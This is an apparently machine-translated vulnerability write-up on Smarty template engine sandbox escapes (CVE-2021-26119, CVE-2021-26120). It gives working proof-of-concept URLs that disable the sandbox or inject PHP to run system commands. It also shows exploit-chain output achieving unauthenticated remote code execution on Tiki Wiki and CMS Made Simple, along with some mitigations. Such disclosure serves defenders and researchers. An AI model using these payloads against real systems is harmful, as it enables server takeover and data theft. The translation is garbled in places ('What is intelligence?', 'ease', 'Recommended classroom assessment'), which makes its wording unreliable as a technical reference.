In this blog post, we explore two different sandbox escape vulnerabilities found in Smarty template engine, which can be exploited by context sensitive attackers to execute arbitrary code. Then we explore how to apply these vulnerabilities to some applications that try to use the engine in a secure manner.
The vulnerabilities found affect the Smarty template engine < = 3.1.38:
1.template_object sandbox escape PHP code injection
This vulnerability is targeted at exposed and instantiated Smarty instances and is partially mitigated by using unrecorded sandbox enhancements. It was patched to CVE-2021-26119.
2. Smarty_Internal_Runtime_TplFunction Sandbox Escape PHP code injection
This vulnerability targets the compilation engine and is not mitigated in versions 3.1.38 and below (even hardened sandboxes using unrecorded functionality). It was patched to CVE-2021-26120.
background
What is intelligence?
Smarty is PHP's template engine that helps separate presentation (HTML/CSS) from application logic. This means that PHP code is application logic and separate from presentation.
Philosophy
Smarty design is primarily driven by the following goals:
- Completely separate presentation from application code
- PHP back end, Smarty template front end
- Supplement PHP, not replace it
- Rapid development / deployment of programmers and designers
- Fast and easy to maintain
- The syntax is easy to understand without PHP knowledge
- Flexibility of customized development
- Security: isolated from PHP
- Free and open source
Why is it important to separate PHP from templates?
Sandbox: when PHP is mixed with a template, there is no limit to what type of logic the template can inject. Smarty isolates templates from PHP, creating a controlled separation of presentation from business logic. Smarty also has security features, which can further impose fine restrictions on templates.
environment
We must assume an environment where template injection may occur. Many applications allow users to modify templates, and given Smarty's explicit statement that it has a sandbox, it is likely to expose this feature as intended by the developer.
Admittedly, the author knows that there are two ways to lead to the injection of template syntax:
$smarty->fetch($_GET['poc']); $smarty->display($_GET['poc']);
Vector graph
In view of the above scenario and assuming that the default security mode is enabled, an attacker can provide his own template code in the following ways:
/page.php?poc=resource:/path/to/template /page.php?poc=resource:{your template code here}
Resource: needs to be a valid resource. Some default values provided are:
- file
When using the file: resource, the code is extracted from the local file. I still think this is a remote vector because many applications allow files to be uploaded, and attackers can provide relative or full paths to template files, which means UNC paths can also work in Windows environments.
- assessment
When using Eval: your template code, just use Smarty_ Resource_ Recommended classroom assessment. Note that this is different from regular PHP eval.
- String
When using the string: resource, the code will first write the template to disk and then include it in Smarty_ Template_ In the compiled class.
Vulnerable examples
The proof of concept presented here may be for different sandbox configurations.
Default sandbox
Smarty this page uses the default settings to create a new instance and enable safe mode:
<?php include_once('./smarty-3.1.38/libs/Smarty.class.php'); $smarty = new Smarty(); $smarty->enableSecurity(); $smarty->display($_GET['poc']);
Hardened sandbox
An enhanced sandbox page has been created that goes beyond the default sandbox to enable the most secure configuration Smarty can provide:
<?php include_once('./smarty-3.1.38/libs/Smarty.class.php'); $smarty = new Smarty(); $my_security_policy = new Smarty_Security($smarty); $my_security_policy->php_functions = null; $my_security_policy->php_handling = Smarty::PHP_REMOVE; $my_security_policy->php_modifiers = null; $my_security_policy->static_classes = null; $my_security_policy->allow_super_globals = false; $my_security_policy->allow_constants = false; $my_security_policy->allow_php_tag = false; $my_security_policy->streams = null; $my_security_policy->php_modifiers = null; $smarty->enableSecurity($my_security_policy); $smarty->display($_GET['poc']);
template_object sandbox escape PHP code injection
Vulnerability analysis
The root cause of this vulnerability is to access Smarty instances from supervariables$ smarty.template_object
Let's get Smarty from_ Internal_ Start with a reference to the template object. This value is only an allocation template object, which is an instance of to {$POC = $smart. Template_object}. This generates the following code: Smarty_Internal_Template$poc
$_smarty_tpl->_assignInScope('poc', $_smarty_tpl);
This is Smarty executed in the compile function in the class_ Internal_ Compile_ Private_ Special_ Variable:
case'template_object': return'$_smarty_tpl';
If we $poc now examine the object, we can see that it contains many interesting object properties:
object(Smarty_Internal_Template)#7 (24) { ["_objType"]=> int(2) ["smarty"]=> &object(Smarty)#1 (76) { ... } ["source"]=> object(Smarty_Template_Source)#8 (16) { ... } ["parent"]=> object(Smarty)#1 (76) { ... } ["ext"]=> object(Smarty_Internal_Extension_Handler)#10 (4) { ... } ["compiled"]=> object(Smarty_Template_Compiled)#11 (12) { ... }
The problem here is that attackers can access Smarty or parent attributes, which will enable them to access Smarty instances.
development
Static method calling technology
Therefore, since attackers can access the smarty attribute, they can simply pass it to smarty as the third parameter_ Internal_ Runtime_ WriteFile:: writefilewhich writes any file to disk (where to write primitives). This is the same technology that James Kettle implemented in 2015.
Being able to write arbitrary files to the target file system is almost guaranteed to win, but attackers can never be sure. The environment may be very different. The writable directory in webroot may not exist htaccess may block access to the back door, and so on.
In view of this situation, I propose an application specific technology that can exploit this vulnerability to execute code directly and remotely without these environmental factors.
If a string: resource is used, the method containing the compiled template file process is called. Smarty_Template_Compiled
public function process(Smarty_Internal_Template $_smarty_tpl) { $source = &$_smarty_tpl->source; $smarty = &$_smarty_tpl->smarty; if ($source->handler->recompiled) { $source->handler->process($_smarty_tpl); } elseif (!$source->handler->uncompiled) { if (!$this->exists || $smarty->force_compile || ($_smarty_tpl->compile_check && $source->getTimeStamp() > $this->getTimeStamp()) ) { $this->compileTemplateSource($_smarty_tpl); $compileCheck = $_smarty_tpl->compile_check; $_smarty_tpl->compile_check = Smarty::COMPILECHECK_OFF; $this->loadCompiledTemplate($_smarty_tpl); $_smarty_tpl->compile_check = $compileCheck; } else { $_smarty_tpl->mustCompile = true; @include $this->filepath; // overwrite this file and then include!
It is possible that we can dynamically access the filepath attribute of the class, Smarty_Template_Compiled so that we can use it as a location for file writing.
The advantage of this technology is that the temporary location must be writable for the resource to work, and it is platform independent.
Proof of concept
Using PHP's built-in web server and the page provided by Default Sandbox as the target, run the following poc twice.
http://localhost:8000/page.php?poc=string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}

The reason why the request needs to be triggered twice is to write the cache file for the first time and then overwrite it. The second time, the cache is triggered and the file is included for remote code execution.
ease
As a temporary solution, static_classes can cancel this attribute in the custom security policy to prevent access to Smarty_Internal_Runtime_WriteFile this class. However, this comes at a cost and greatly reduces functionality. For example, accessing Html::mailto,JqueryAsset::register and other static method calls in the Yii framework will not work.
$my_security_policy = new Smarty_Security($smarty); $my_security_policy->static_classes = null; $smarty->enableSecurity($my_security_policy);
I don't think this is a complete mitigation measure, because this function is not enabled by default when security mode is turned on, and the root cause of the vulnerability cannot be solved.
Sandbox disable Technology
Suppose we have a more difficult goal. Instead of using the default security mode, it tries to define its own security policy, just like the example of the Hardened Sandbox. We can still bypass this environment because we can access the Smarty instance and use it to disable the sandbox and render our php code directly.
Proof of concept
http://localhost:8000/page.php?poc=string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system(\'id\')}')}

ease
As a temporary solution, the disabled_ special_ smarty_ The vars attribute can contain an array template with a string_ object.
However, this feature is completely undocumented. Here is an example of how to prevent an attack:
$my_security_policy = new Smarty_Security($smarty); $my_security_policy->disabled_special_smarty_vars = array("template_object"); $smarty->enableSecurity($my_security_policy);
Like static method invocation technology, I don't think this is a complete mitigation measure because it is not enabled in the sandbox by default.
Smarty_Internal_Runtime_TplFunction Sandbox Escape PHP code injection
Vulnerability analysis
When compiling template syntax, Smarty_Internal_Runtime_TplFunction class defines tplFunctions Let's look at an example with the following template:
{function name='test'}{/function}
We can see that the compiler generates the following code:
/* smarty_template_function_test_8782550315ffc7c00946f78_05745875 */ if (!function_exists('smarty_template_function_test_8782550315ffc7c00946f78_05745875')) { function smarty_template_function_test_8782550315ffc7c00946f78_05745875(Smarty_Internal_Template $_smarty_tpl,$params) { foreach ($params as $key => $value) { $_smarty_tpl->tpl_vars[$key] = new Smarty_Variable($value, $_smarty_tpl->isRenderingCache); } } } /*/ smarty_template_function_test_8782550315ffc7c00946f78_05745875 */
It is assumed that the test string controlled by the attacker is injected into the generated code multiple times. A notable example is anything that is not within single quotes.
Since this is a multiple injection, I found it difficult to propose a payload for the first line of annotation injection, so I chose function definition injection.
Proof of concept
Using the built-in web server of PHP and the page provided by the Hardened Sandbox as the target, run the following poc:
http://localhost:8000/page.php?poc=string:{function+name='rce(){};system("id");function+'}{/function}

Tiki wiki
When we combine CVE-2020-15906 and CVE-2021-26119, we can use this vulnerability to achieve unauthenticated remote code execution:
researcher@incite:~/tiki$ ./poc.py (+) usage: ./poc.py <host> <path> <cmd> (+) eg: ./poc.py 192.168.75.141 / id (+) eg: ./poc.py 192.168.75.141 /tiki-20.3/ id researcher@incite:~/tiki$ ./poc.py 192.168.75.141 /tiki-20.3/ "id;uname -a;pwd;head /etc/passwd" (+) blanking password... (+) admin password blanked! (+) getting a session... (+) auth bypass successful! (+) triggering rce... uid=33(www-data) gid=33(www-data) groups=33(www-data) Linux target 5.8.0-40-generic #45-Ubuntu SMP Fri Jan 15 11:05:36 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux /var/www/html/tiki-20.3 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
CMS becomes simple
When we combine CVE-2019-9053 and CVE-2021-26120, we can use this vulnerability to achieve unauthenticated remote code execution:
researcher@incite:~/cmsms$ ./poc.py (+) usage: ./poc.py <host> <path> <cmd> (+) eg: ./poc.py 192.168.75.141 / id (+) eg: ./poc.py 192.168.75.141 /cmsms/ "uname -a" researcher@incite:~/cmsms$ ./poc.py 192.168.75.141 /cmsms/ "id;uname -a;pwd;head /etc/passwd" (+) targeting http://192.168.75.141/cmsms/ (+) sql injection working! (+) leaking the username... (+) username: admin (+) resetting the admin's password stage 1 (+) leaking the pwreset token... (+) pwreset: 35f56698a2c3371eff7f38f34f001503 (+) done, resetting the admin's password stage 2 (+) logging in... (+) leaking simplex template... (+) injecting payload and executing cmd... uid=33(www-data) gid=33(www-data) groups=33(www-data) Linux target 5.8.0-40-generic #45-Ubuntu SMP Fri Jan 15 11:05:36 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux /var/www/html/cmsms root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
reference resources
- https://portswigger.net/research/server-side-template-injection
- https://chybeta.github.io/2018/01/23/CVE-2017-1000480-Smarty-3-1-32-php%E4%BB%A3%E7%A0%81%E6%89%A7% E8%A1%8C-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/